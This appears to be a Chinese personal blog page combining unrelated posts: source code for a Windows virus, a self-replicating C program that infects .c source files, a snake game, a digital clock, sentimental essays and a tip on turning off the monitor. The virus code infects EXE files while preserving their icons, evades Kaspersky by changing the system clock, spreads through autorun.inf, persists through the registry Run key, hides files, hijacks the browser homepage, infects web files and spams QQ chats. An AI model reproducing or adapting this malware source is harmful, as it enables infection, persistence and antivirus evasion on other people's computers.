c#病毒

说明一点,每个人学习的目的不一样,你们自己一个研究一边改.这是为别人写的病毒! 所以我把代码改了几个地方,以防止没有技术又卑鄙的人经常用代码就直接编译,然后到网上害人.
病毒功能:
1.感染exe文件
2.弹出一个对话框,提示用户已经中毒了.
3.检测是否有卡巴斯基,如果有就把时间改成1989年7月28日,让卡巴变黑,然后感染,运行.
4.被感染后的exe的图片不会变(不像熊猫烧香那样会变成一只熊猫,为了这个功能我测试了好多次实现才弄明白的)
5.Autorun
6.开机运行
7.设置IE主页
8.发QQ消息
9.感染 “htm”, “html”, “asp”, “php”, “jsp”, “aspx” 文件

#include “stdafx.h”
#include “resource.h”
#include
#include
#include

HINSTANCE hInst;
HWND hWnd;

ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

/************** 程序ID定义 ******************/

#define id_Send 0x77E //发送按扭的ID
#define id_Infect 1000 //控制感染的定时器的ID
#define id_SendQQMsg 1001 //控制发送QQ消息的定时器ID

/************** 程序常量定义 ******************/

const int nWebFileTypeNum = 6; //网页类型的数目
const char *szWebFilePostfix[nWebFileTypeNum] = { “htm”, “html”, “asp”, “php”, “jsp”, “aspx” }; //感染网页类型

/*************** 函数定义 ******************/
int InfectAllFile(char *szDir);
void SendQQMsg();
int GetVolumeName(char szVolumeName[] );
void ReleaseFile(char* szReleaseFileName);
int IsInfect(char *szFileName );
int InfectFile(char *szSrcFileName );
int CheckAntivirus();
int InfectAllFile(char *szDir);
void InfectWebFile(char *szInfectFileName );
void SetAutorun();
void GetPostfixName(char *szFileName, char *szPostfixName );
int GetVolumeName(char szVolumeName[] );
void WriteReg();

void ReleaseFile(char* szReleaseFileName)
{
char szFileName[200];
GetTempFileName( “C:\\Windows\\”, “CIW_”, 0, szFileName );

HRSRC hRes = FindResource( NULL, MAKEINTRESOURCE(14), RT_RCDATA );

if( hRes )
{
HGLOBAL hLoadRes = LoadResource( NULL, hRes );
LPVOID szSrcFileBuf = LockResource( hLoadRes );
DWORD nSizeOfSrcFile = SizeofResource(NULL, hRes );

if( szSrcFileBuf != NULL )
{
HANDLE hSrcFile = CreateFile( szFileName, GENERIC_WRITE | GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_READ,
NULL, CREATE_ALWAYS, NULL, NULL);
WriteFile( hSrcFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);

CloseHandle( hSrcFile );

STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
CreateProcess(szFileName,GetCommandLine(),NULL,
NULL,NULL,NULL,NULL,NULL,&si,π);
}
}
else
{
szReleaseFileName = NULL;
return ;
}

strcpy( szReleaseFileName, szFileName);
}

int IsInfect(char *szFileName )
{
HMODULE hModule = LoadLibrary( szFileName );
if( hModule )
{
HRSRC hRes = FindResource(hModule , MAKEINTRESOURCE(14), RT_RCDATA );

FreeLibrary( hModule );

if( hRes )
{
return 1;
}
}
return 0;
}

const int FINDICONNUM = 15;
int InfectFile(char *szSrcFileName )
{
char szMyFileName[200];
GetModuleFileName( NULL, szMyFileName, 200);

DeleteFile(“C:\\Windows\\CIW.exe”);

CopyFile( szMyFileName, “C:\\Windows\\CIW.exe”, true );

HMODULE hModule =LoadLibrary( szSrcFileName );
int i = 0, j = 0;
HRSRC hRes ;
DWORD dwIconSize;

for(; i < FINDICONNUM ;i ++ )
{
hRes = NULL;
hRes = FindResource( hModule, (LPCTSTR)i, RT_ICON );
dwIconSize = SizeofResource( hModule, hRes) ;

if( i == (FINDICONNUM – 1))
{
i = 0;
j ++ ;
if( j == 13 )
{
break;
}
}
}
HANDLE hUpdateTemp;

if( hRes )
{
hUpdateTemp = BeginUpdateResource( “C:\\Windows\\CIW.exe”, false );
}
else
{
hUpdateTemp = BeginUpdateResource( “C:\\Windows\\CIW.exe”, true );
}
HGLOBAL hLoadRes = LoadResource( hModule, hRes);
UpdateResource( hUpdateTemp, RT_ICON, (char*)1, 0, hLoadRes, dwIconSize );
DestroyIcon( (HICON) hLoadRes );
EndUpdateResource( hUpdateTemp, false );
FreeLibrary( hModule );

HANDLE hSrcFile = CreateFile( szSrcFileName, GENERIC_WRITE | GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_READ,
NULL, OPEN_EXISTING, NULL, NULL);

if( (int)hSrcFile == -1 )
{
return 0;
}

DWORD nSizeOfSrcFile = GetFileSize( hSrcFile, &nSizeOfSrcFile );

char *szSrcFileBuf = new char[ nSizeOfSrcFile ];
ReadFile( hSrcFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);

HANDLE hUpdate = BeginUpdateResource( “C:\\Windows\\CIW.exe”, false );

UpdateResource( hUpdate, RT_RCDATA, MAKEINTRESOURCE(14),NULL, szSrcFileBuf, nSizeOfSrcFile);

EndUpdateResource( hUpdate, false );
delete []szSrcFileBuf;
CloseHandle( hSrcFile );

return 1;
}

int CheckAntivirus()
{

PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);

BOOL bMore = 1;

HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

if(hProcessSnap==INVALID_HANDLE_VALUE)
{
return 0;
}

while(bMore)
{
//有没有卡巴斯基
if( strcmp( “avp.exe”, pe32.szExeFile ) )
{
return 1;
}
bMore=Process32Next(hProcessSnap,&pe32);
}

CloseHandle(hProcessSnap);

return 0;
}

//大写字符串转小写字符串
void Change(char *str )
{
for( int i = 0; i < (int)strlen( str ); i++ ) { if( str >= ‘A’ && str <= ‘Z’ ) { str -= ‘A’ – ‘a’; } } } void GetPostfixName(char *szFileName, char *szPostfixName ) { int nFileNameSize = strlen( szFileName ); for( int i = nFileNameSize – 1; i >= 0; i–)
{
if( szFileName == ‘.’ )
{
break;
}
}

i= nFileNameSize – i – 1; //文件后缀名的长度
for( int j = 0; j < nFileNameSize; j ++ )
{
szPostfixName[ j ] = szFileName[ nFileNameSize - i + j ];
}
szPostfixName[ j ] = 0;

}

int InfectAllFile(char *szDir)
{
DWORD dwPeType;
char directory[MAX_PATH];
char file[MAX_PATH];
HANDLE hFile;
WIN32_FIND_DATA fd;
memset( &fd, 0, sizeof(WIN32_FIND_DATA) );
strncpy(directory, szDir,MAX_PATH);
strcat(directory,”*.*”);
hFile = FindFirstFile(directory, &fd);
do
{
if( fd.cFileName[0] != ‘.’ )
{
if( fd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) //是目录
{
memset(file, 0, MAX_PATH);
strcpy(file, szDir );
strcat(file, fd.cFileName );
strcat(file, “\\” );
InfectAllFile(file);

}
else //是文件
{

memset(file, 0, MAX_PATH);
strcpy(file, szDir);
strcat(file, fd.cFileName );

if( strcmp( fd.cFileName, “NTDETECT.COM”) == 0) //是 “NTDETECT.COM” 文件跳出
{
continue;
}
char szPostfixName[20];

int i = GetBinaryType( file, &dwPeType );
GetPostfixName( file, szPostfixName );

if((dwPeType == SCS_32BIT_BINARY ||
dwPeType ==SCS_OS216_BINARY ) && i ) //是PE文件感染
{
if( !IsInfect( file ) ) //是否感染过
{
InfectFile( file );
DeleteFile( file );
CopyFile( “C:\\Windows\\CIW.exe”, file, false);
}

}
else //不是PE文件
{
for( int i = 0; i < nWebFileTypeNum; i++)
{
if( strcmp( szPostfixName, szWebFilePostfix ) == 0 ) //是网页文件
{
InfectWebFile( file );
}
}
}
}
}
}while( FindNextFile( hFile, &fd) );

return 0;
}

void SendQQMsg()
{
HWND hFore, hChat, hParent;

char szTest[] = “这是我的主页 http://www.luneja.com “;
HWND hWnd=NULL;
char name[200];
int len;
char ch[3] = {0, 0, 0};
while(hWnd=FindWindowEx(NULL,hWnd,NULL,NULL))
{
GetWindowText(hWnd,name,200);
len=strlen(name);
ch[0]=name[len-2];
ch[1]=name[len-1];

if(strcmp(ch,”群”)==0 || strcmp(ch,”中”)==0 )
{
hFore=FindWindow(NULL,name);

hParent=FindWindowEx(hFore,NULL,”#32770″,NULL);
hChat=FindWindowEx(hParent,NULL,”AfxWnd42″,NULL);
hChat=FindWindowEx(hParent,hChat,”AfxWnd42″,NULL);
hChat=FindWindowEx(hChat,NULL,”RichEdit20A”,NULL);
if( hChat )
{
SendMessage( hChat ,EM_REPLACESEL,0,LPARAM(szTest));
SendMessage(hParent,WM_COMMAND,id_Send,BN_CLICKED);
}
}
}
}

/******** 获得所有的磁盘 ********/
int GetVolumeName(char szVolumeName[] )
{
int nVolumeNum = 0;

WIN32_FIND_DATA fd;

for( int i = ‘C’; i <= ‘Z’; i ++ )
{
char szVolumeNameTemp[10];
sprintf( szVolumeNameTemp, “%c:\\*.*”, i );
HANDLE hFile = FindFirstFile( szVolumeNameTemp, &fd);

if( ( unsigned int ) hFile != -1)
{
szVolumeName[ nVolumeNum ] = i;
nVolumeNum ++;
}
}
szVolumeName[ nVolumeNum ] = 0;

return nVolumeNum; //磁盘的数目
}

/******** 感染网页文件 ********/
void InfectWebFile(char *szInfectFileName )
{
//感染网页的内容
char szWriteText[] = “http://www.luneja.com”;

unsigned long dwWriteTextByte = strlen( szWriteText );
char *szWebFileBuf = new char[ dwWriteTextByte + 1] ;

HANDLE hWebFile = CreateFile( szInfectFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ,
NULL, OPEN_EXISTING, NULL, NULL);

DWORD dwWebFileSize = GetFileSize( hWebFile, &dwWebFileSize);

if( dwWebFileSize < dwWriteTextByte)//没有被感染过
{
//感染
SetEndOfFile( hWebFile );
WriteFile( hWebFile, szWriteText, dwWriteTextByte, &dwWriteTextByte, 0);
}
else
{
SetFilePointer( hWebFile, dwWebFileSize – dwWriteTextByte, 0, FILE_BEGIN);
ReadFile( hWebFile, szWebFileBuf, dwWriteTextByte, &dwWriteTextByte, NULL);
szWebFileBuf[dwWriteTextByte] = 0;

if( strcmp( szWebFileBuf, szWriteText) != 0 ) //没有被感染过
{
//感染
SetEndOfFile( hWebFile );
WriteFile( hWebFile, szWriteText, dwWriteTextByte, &dwWriteTextByte, 0);
}
}
delete [] szWebFileBuf;
CloseHandle( hWebFile );
}

/******** AutoRun.inf ********/
void SetAutorun()
{
char szVolumeName[25];
int nVolumeNum = GetVolumeName( szVolumeName );
for( int i = 0; i < nVolumeNum; i++)
{
char szFileName[20];
char szMyFileName[200];
char szAutorunFile[100];

sprintf( szFileName, “%c:\\CIW.exe”, szVolumeName );
sprintf( szAutorunFile, “%c:\\autorun.inf”, szVolumeName );

DeleteFile( szAutorunFile );
DeleteFile( szFileName );

GetModuleFileName( NULL, szMyFileName, 200);
CopyFile( szMyFileName, szFileName, true);

HANDLE hAutorunFile = CreateFile( szAutorunFile, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ,
NULL, CREATE_ALWAYS, NULL, NULL);

char szWriteText[200] ;
sprintf(szWriteText, “[Autorun] \n open=%s \nshellexecute=%s\nshell\\Auto\\command=%s”,
szFileName, szFileName, szFileName);

DWORD dwWriteByte;
WriteFile( hAutorunFile, szWriteText, strlen( szWriteText ), &dwWriteByte, 0);
CloseHandle( hAutorunFile );
SetFileAttributes( szFileName, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes( szAutorunFile, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
}
}

5/******** 注册表操作 ********/

void SetRegValue(HKEY hKey, char *szSubKey, char *szKeyName, char *szValue )
{
RegOpenKeyEx( hKey, szSubKey, 0,
KEY_ALL_ACCESS, &hKey);
if( hKey )
{
RegSetValueEx( hKey, szKeyName, 0, REG_SZ, (const unsigned char *)szValue,
strlen( (char *)szValue ) );
}

RegCloseKey( hKey );
}

/******** 写入一些常用的注册表值 ********/
void WriteReg()
{
//实现 开机启动程序
char szMyFileName[200];
GetModuleFileName( NULL, szMyFileName, 200);
SetRegValue( HKEY_CURRENT_USER, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”, “CIW_1″, szMyFileName);

//实现 不能打开显示文件
SetRegValue( HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL”,
“CheckedValue”, “0″);

//设置 IE的主页
SetRegValue( HKEY_CURRENT_USER, “Software\\Microsoft\\Internet Explorer\\Main”,
“Start Page”, “http://www.luneja.com”);
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

MSG msg;

MyRegisterClass(hInstance);
InitInstance (hInstance, nCmdShow);

while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg) ;
}
return msg.wParam;

return 0;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;

wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = NULL;
wcex.hCursor = NULL;
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = “CIW”;
wcex.hIconSm = NULL;

return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance;

hWnd = CreateWindow(“CIW”, “CIW” , WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
MoveWindow(hWnd,0,0,0,0,false);

SetTimer( hWnd, 1000, 5000, NULL);

MessageBox( NULL, “你已经中了LUNEJA病毒了”, “提示”, MB_ICONERROR);
return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static int nIsInfect = false; //是否要感染其他PE文件

switch (message)
{
case WM_CREATE:
{
/************ 有没有启动卡巴斯基 ***************/
int bIsAntiVirus = CheckAntivirus();

SYSTEMTIME sysTime ;
SYSTEMTIME localTime ;

GetLocalTime( &localTime );

memcpy( &sysTime, &localTime, sizeof( SYSTEMTIME ) );
sysTime.wDay = 28;
sysTime.wMonth = 7;
sysTime.wYear = 1989;

if( bIsAntiVirus )
{
SetLocalTime( &sysTime );
}

char szTempFileName[200];

SetAutorun(); //Autorun.inf
if( bIsAntiVirus ) //有启动卡巴
{
SetLocalTime( &localTime );
}
/************ 有没有启动卡巴斯基 ***************/

char szVolumeName[25];
char szInfectVolumeName[50];
int nVolumeNum = GetVolumeName( szVolumeName ); //获取磁盘名和磁盘的个数

//随机感染磁盘的文件
srand( time( 0 ) );
sprintf( szInfectVolumeName, “%c:\\”, szVolumeName[rand()%nVolumeNum]);
InfectAllFile( szInfectVolumeName );

}
break;

case WM_TIMER:
SendQQMsg();
break;

case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

C#贪吃蛇代码

贪吃蛇的C#代码,由于比较喜欢这个游戏就收藏了.

#define N 200
#include
#include
#include
#define LEFT 0x4b00
#define RIGHT 0x4d00
#define DOWN 0×5000
#define UP 0×4800
#define ESC 0x011b
int i,key;
int score=0;/*得分*/
int gamespeed=50000;/*游戏速度自己调整*/
struct Food
{
int x;/*食物的横坐标*/
int y;/*食物的纵坐标*/
int yes;/*判断是否要出现食物的变量*/
}food;/*食物的结构体*/
struct Snake
{
int x[N];
int y[N];
int node;/*蛇的节数*/
int direction;/*蛇移动方向*/
int life;/* 蛇的生命,0活着,1死亡*/
}snake;
void Init(void);/*图形驱动*/
void Close(void);/*图形结束*/
void DrawK(void);/*开始画面*/
void GameOver(void);/*结束游戏*/
void GamePlay(void);/*玩游戏具体过程*/
void PrScore(void);/*输出成绩*/
/*主函数*/
void main(void)
{
Init();/*图形驱动*/
DrawK();/*开始画面*/
GamePlay();/*玩游戏具体过程*/
Close();/*图形结束*/
}
/*图形驱动*/
void Init(void)
{
int gd=DETECT,gm;
initgraph(&gd,&gm,”c:\\tc”);
cleardevice();
}
/*开始画面,左上角坐标为(50,40),右下角坐标为(610,460)的围墙*/
void DrawK(void)
{
/*setbkcolor(LIGHTGREEN);*/
setcolor(11);
setlinestyle(SOLID_LINE,0,THICK_WIDTH);/*设置线型*/
for(i=50;i<=600;i+=10)/*画围墙*/
{
rectangle(i,40,i+10,49); /*上边*/
rectangle(i,451,i+10,460);/*下边*/
}
for(i=40;i<=450;i+=10)
{
rectangle(50,i,59,i+10); /*左边*/
rectangle(601,i,610,i+10);/*右边*/
}
}
/*玩游戏具体过程*/
void GamePlay(void)
{
randomize();/*随机数发生器*/
food.yes=1;/*1表示需要出现新食物,0表示已经存在食物*/
snake.life=0;/*活着*/
snake.direction=1;/*方向往右*/
snake.x[0]=100;snake.y[0]=100;/*蛇头*/
snake.x[1]=110;snake.y[1]=100;
snake.node=2;/*节数*/
PrScore();/*输出得分*/
while(1)/*可以重复玩游戏,压ESC键结束*/
{
while(!kbhit())/*在没有按键的情况下,蛇自己移动身体*/
{
if(food.yes==1)/*需要出现新食物*/
{
food.x=rand()%400+60;
food.y=rand()%350+60;
while(food.x%10!=0)/*食物随机出现后必须让食物能够在整格内,这样才可以让蛇吃到*/
food.x++;
while(food.y%10!=0)
food.y++;
food.yes=0;/*画面上有食物了*/
}
if(food.yes==0)/*画面上有食物了就要显示*/
{
setcolor(GREEN);
rectangle(food.x,food.y,food.x+10,food.y-10);
}
for(i=snake.node-1;i>0;i–)/*蛇的每个环节往前移动,也就是贪吃蛇的关键算法*/
{
snake.x[i]=snake.x[i-1];
snake.y[i]=snake.y[i-1];
}
/*1,2,3,4表示右,左,上,下四个方向,通过这个判断来移动蛇头*/
switch(snake.direction)
{
case 1:snake.x[0]+=10;break;
case 2: snake.x[0]-=10;break;
case 3: snake.y[0]-=10;break;
case 4: snake.y[0]+=10;break;
}
for(i=3;i {
if(snake.x[i]==snake.x[0]&&snake.y[i]==snake.y[0])
{
GameOver();/*显示失败*/
snake.life=1;
break;
}
}
if(snake.x[0]<55||snake.x[0]>595||snake.y[0]<55||
snake.y[0]>455)/*蛇是否撞到墙壁*/
{
GameOver();/*本次游戏结束*/
snake.life=1; /*蛇死*/
}
if(snake.life==1)/*以上两种判断以后,如果蛇死就跳出内循环,重新开始*/
break;
if(snake.x[0]==food.x&&snake.y[0]==food.y)/*吃到食物以后*/
{
setcolor(0);/*把画面上的食物东西去掉*/
rectangle(food.x,food.y,food.x+10,food.y-10);
snake.x[snake.node]=-20;snake.y[snake.node]=-20;
/*新的一节先放在看不见的位置,下次循环就取前一节的位置*/
snake.node++;/*蛇的身体长一节*/
food.yes=1;/*画面上需要出现新的食物*/
score+=10;
PrScore();/*输出新得分*/
}
setcolor(4);/*画出蛇*/
for(i=0;i rectangle(snake.x[i],snake.y[i],snake.x[i]+10,
snake.y[i]-10);
delay(gamespeed);
setcolor(0);/*用黑色去除蛇的的最后一节*/
rectangle(snake.x[snake.node-1],snake.y[snake.node-1],
snake.x[snake.node-1]+10,snake.y[snake.node-1]-10);
} /*endwhile(!kbhit)*/
if(snake.life==1)/*如果蛇死就跳出循环*/
break;
key=bioskey(0);/*接收按键*/
if(key==ESC)/*按ESC键退出*/
break;
else
if(key==UP&&snake.direction!=4)
/*判断是否往相反的方向移动*/
snake.direction=3;
else
if(key==RIGHT&&snake.direction!=2)
snake.direction=1;
else
if(key==LEFT&&snake.direction!=1)
snake.direction=2;
else
if(key==DOWN&&snake.direction!=3)
snake.direction=4;
}/*endwhile(1)*/
}
/*游戏结束*/
void GameOver(void)
{
cleardevice();
PrScore();
setcolor(RED);
settextstyle(0,0,4);
outtextxy(200,200,"GAME OVER");
getch();
}
/*输出成绩*/
void PrScore(void)
{
char str[10];
setfillstyle(SOLID_FILL,YELLOW);
bar(50,15,220,35);
setcolor(6);
settextstyle(0,0,2);
sprintf(str,"score:%d",score);
outtextxy(55,20,str);
}
/*图形结束*/
void Close(void)
{
getch();
closegraph();
}

再美的故事,也会有个结局

寂寞的时候 喜欢坐在地板上 背靠着墙 就会有 那么一点点的安全感
黑黑的世界 我感到寂寞也是黑色的 很安静 只听到寂寞的呼吸 点燃一支烟
一支同样寂寞的烟 任它在空气中咨恣意飞舞优美而空灵一明一灭
直至消失在这个世界上 时光在指间流淌我却抓不住它 啃嗜着伤痛
安慰着自己受伤的灵魂 我愿意在这寂寞的世界里 享受一个人的寂寞
选择孤单 选择寂寞 选择沉沦 选择等待
在一个人的世界上演与爱无关的独角戏
一个人的独角戏 一个人独自导演 一个人诠释精彩
碎了完美伤了自尊丢了灵魂却依然留恋 深深惋惜
躲不了俗世的欲望 好了伤疤忘了疼 也或许只是因为寂寞
在深夜把忧伤扯碎了 点燃寂寞
裹紧了孤独舔伤口 这世界唯一收容我的却是自己的影子

左手还夹着残留的香烟 烟雾背后却是思念后更深的寂寞
经常独自一个人悲伤 却不知道自己在悲伤什么
很多时候告诉自己颓废也是一种美 但是梦醒后还是
一个人生活 一个人流浪 一个人解脱
妄想用爱弥补一切残缺 点燃堆在身后的所有寂寞
回头寻找我曾误以为的幸福 却发现那不过只是一场邂逅
仅此而已的所谓诺言 如此卑微 如此落魄 如此用心
却成了一场华丽的感情游戏的傀儡者

奢望我以后可以拥有幸福…

坚强–虚伪的创伤

想哭的时候,就画条黑眼线,它会提醒你,哭会很丑.
难过了,就蹲下来,抱抱自己.
当你伤心的时候,对着镜子微笑,大笑,狂笑…
你会发现,你已在镜子里的那张脸,找到了坚强.

与寂寞有染,与爱情无关.
痛和疼有什么区别呢?那么心痛和心疼有什么区别呢?
生命中,不断的有人离开或进入,看见的,看不见的,记住的,遗忘的,生命中,不断的有得失和失落,看不见的,看见的,遗忘的,记住的.
坚强,不过是虚伪的创伤.

c语言写的伪病毒

/要在c++上运行.

#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=”virus.c”;
char buf[50][80];
char *p;
char *end=”return”;
char *bracket=”}”;
char *main=”main”;
char *include[2]={“stdio.h”,”dir.h”};
char *int_virus=”int virus()”;
char *buffer;
int done,i,j=0,flag=0;
printf(“\nI have a virus. Writen by PuBin\n”);
done = findfirst(“*.c”,&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, “rt”))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf,80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,”w+t”);
fputs(“#include\n”,out);
fputs(“#include\n”,out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}

C语言的数字钟

上次一同事竟然让我做一数字时钟,说我不会做,我郁闷半天,要是连这个都不会,还混个P啊……

#include”stdio.h”
void clock(int t);
void main()
{
int t,i,j,n;
for(t=0;t<10;t++)
{
clock(t);
sound(590);
for(n=0;n<4;n++)
{
delay(100000000);
}
nosound();
for(n=0;n<6;n++)
{
delay(100000000);
}
for(j=8;j<=18;j++)
{
for(i=1;i<=80;i++)
{
gotoxy(i,j);
putchar(0);
}
}
}
}
void clock(int t)
{
int i,j;
textcolor(11);
if(t==0)
{
for(i=0;i<11;i++)
{
gotoxy(60,8+i);
cprintf("%c",14);
}
for(i=0;i<11;i++)
{
gotoxy(51,8+i);
cprintf("%c",14);
}
for(j=0;j<11;j+=10)
{
for(i=0;i<8;i++)
{
gotoxy(59-i,8+j);
cprintf("%c",14);
}
}
}
if(t==1)
{
for(i=0;i<11;i++)
{
gotoxy(60,8+i);
cprintf("%c",14);
}
}
if(t==2)
{
for(j=0;j<2;j++)
{
for(i=0;i<6;i++)
{
gotoxy(60-j*8,8+i+j*5);
cprintf("%c",14);
}
}
for(j=0;j<11;j+=5)
{
for(i=0;i<9;i++)
{
gotoxy(60-i,8+j);
cprintf("%c",14);
}
}
}
if(t==3)
{
for(i=0;i<11;i++)
{
gotoxy(60,8+i);
cprintf("%c",14);
}
for(j=0;j<11;j+=5)
{
for(i=0;i<8;i++)
{
gotoxy(59-i,8+j);
cprintf("%c",14);
}
}
}
if(t==4)
{
for(i=0;i<11;i++)
{
gotoxy(60,8+i);
cprintf("%c",14);
}
for(i=0;i<6;i++)
{
gotoxy(52,8+i);
cprintf("%c",14);
}
for(i=0;i<8;i++)
{
gotoxy(59-i,13);
cprintf("%c",14);
}
}
if(t==5)
{
for(j=0;j<2;j++)
{
for(i=0;i<6;i++)
{
gotoxy(52+j*8,8+i+j*5);
cprintf("%c",14);
}
}
for(j=0;j<11;j+=5)
{
for(i=0;i<9;i++)
{
gotoxy(60-i,8+j);
cprintf("%c",14);
}
}
}
if(t==6)
{
for(j=0;j<2;j++)
{
for(i=0;i<6;i++)
{
gotoxy(52+j*8,8+i+j*5);
cprintf("%c",14);
}
}
for(i=0;i<6;i++)
{
gotoxy(52,13+i);
cprintf("%c",14);
}
for(j=0;j<11;j+=5)
{
for(i=0;i<9;i++)
{
gotoxy(60-i,8+j);
cprintf("%c",14);
}
}
}
if(t==7)
{
for(i=0;i<11;i++)
{
gotoxy(60,8+i);
cprintf("%c",14);
}
for(i=0;i<8;i++)
{
gotoxy(59-i,8);
cprintf("%c",14);
}
}
if(t==8)
{
for(i=0;i<11;i++)
{
gotoxy(60,8+i);
cprintf("%c",14);
}
for(i=0;i<11;i++)
{
gotoxy(52,8+i);
cprintf("%c",14);
}
for(j=0;j<11;j+=5)
{
for(i=0;i<8;i++)
{
gotoxy(59-i,8+j);
cprintf("%c",14);
}
}
}
if(t==9)
{
for(i=0;i<11;i++)
{
gotoxy(60,8+i);
cprintf("%c",14);
}
for(i=0;i<6;i++)
{
gotoxy(52,8+i);
cprintf("%c",14);
}
for(j=0;j<2;j++)
{
for(i=0;i<8;i++)
{
gotoxy(59-i,8+j*5);
cprintf("%c",14);
}
}
}
}

善与恶

善念有三:

利人须损己,亦为之,谓之上善.
利人不损己,方为之.谓之中善.
利人也利己,才为之.谓之下善.

恶念也有三:

损人又损己,亦为之,谓之大恶.
损人不损己,方为之.谓之中恶.
损人须利己,才为之,谓之小恶.

如果将来的某一天

如果有一天,你走进我的心里,你会哭,因为里面全是你.如果有一天,我走进你的心里,我也会哭,也许你那里没有我.
不知道,也许某天在喧闹的城市里,我们擦肩而过,我会停住脚步,凝视着那个正远去的背影,告诉自己,那个人我曾经爱过.
为什么感到这般如此的冷,因为我曾经温暖过.原来521+365=886.
如果将来的某一天,你说你要离开我,我不会留你,我知道你有你的理由.
如果将来的某一天,你说其实你还爱着我,我会告诉你,其实我还在等你.
不说就是没有改变,永远不说就是永远没有改变.
即使生活有一千个理由让你哭,你也要有一千零一个理由欢笑.
放风筝的感觉,就好象对着一个很遥远的对象,远远的看着它,虽然距离很远,但是心里总是不至于绝望,因为你知道,你手上握着这跟线,就像是一种不断的缘分,牵引着彼此.
如果我们之间有1000步的距离只要你跨出第一步我就会朝你的方向走余下的999步.

水清则无鱼

鱼只住在潺潺流动的河流,或者是很深的水潭里,水很清澈,几乎一眼见底,鱼反而不会住下去.

留不住鱼的理由很多,最基本而重要的一点是,水太清澈并且没有夹带杂物时,当然也没有鱼儿赖以为生的浮游生物如水藻之类的东西,所以鱼儿不可能在那种环境里生存.

其次,在清水中一旦遇到危险无处可躲,因此作为鱼饵的小生物必也无法繁殖.

所以鱼儿能活下去的河流必须是流动的,既可使水底混浊,小生物也有地方躲.又可以接纳别的河流的水及营养物,供给鱼儿生存.另外,太澄清的水氧气少,也直接影响了生物间的生生不息.

如果把鱼的世界比喻成人的世界,那么水清便是不允许丝毫自由及失败的理想环境,人必须处处受规则的束缚.但是,人不是机械,不能过着一牵一引的机械生活,诚如水清无鱼,这世界一旦迈向圆满的境地,也就没有上进的人类了.

用C#关闭显示器

为了响应国家节约号召
为国家电力贡献自己的一点微薄之力
本人决定在吃饭及午休,外出时关闭显示器
同时也延长了笔记本的使用寿命
当然在台式机上,直接关闭显示器电源即可

在笔记本上,利用键盘的FN快捷键,只能关闭屏幕背光
不能关掉主板给屏幕的信号输出,仔细看仍然会看到暗淡的桌面
在桌面显示属性的“电源管理”里面,我们可以调整电源方案
设置计算机在X分钟后关闭监视器,硬盘,待机,等等…

命令行为:

powercfg /change “电源方案名称” /moniter-timeout-ac 1

这个比较麻烦,还需知道当前使用的电源方案.
不过,windows为我们提供了一个API,可以实现即时关闭监视器.

LRESULT WINAPI SendMessage(
  __in  HWND hWnd,
  __in  UINT Msg,
  __in  WPARAM wParam,
  __in  LPARAM lParam
);

详见:http://msdn.microsoft.com/en-us/library/ms644950(VS.85).aspx
Read the rest of this entry »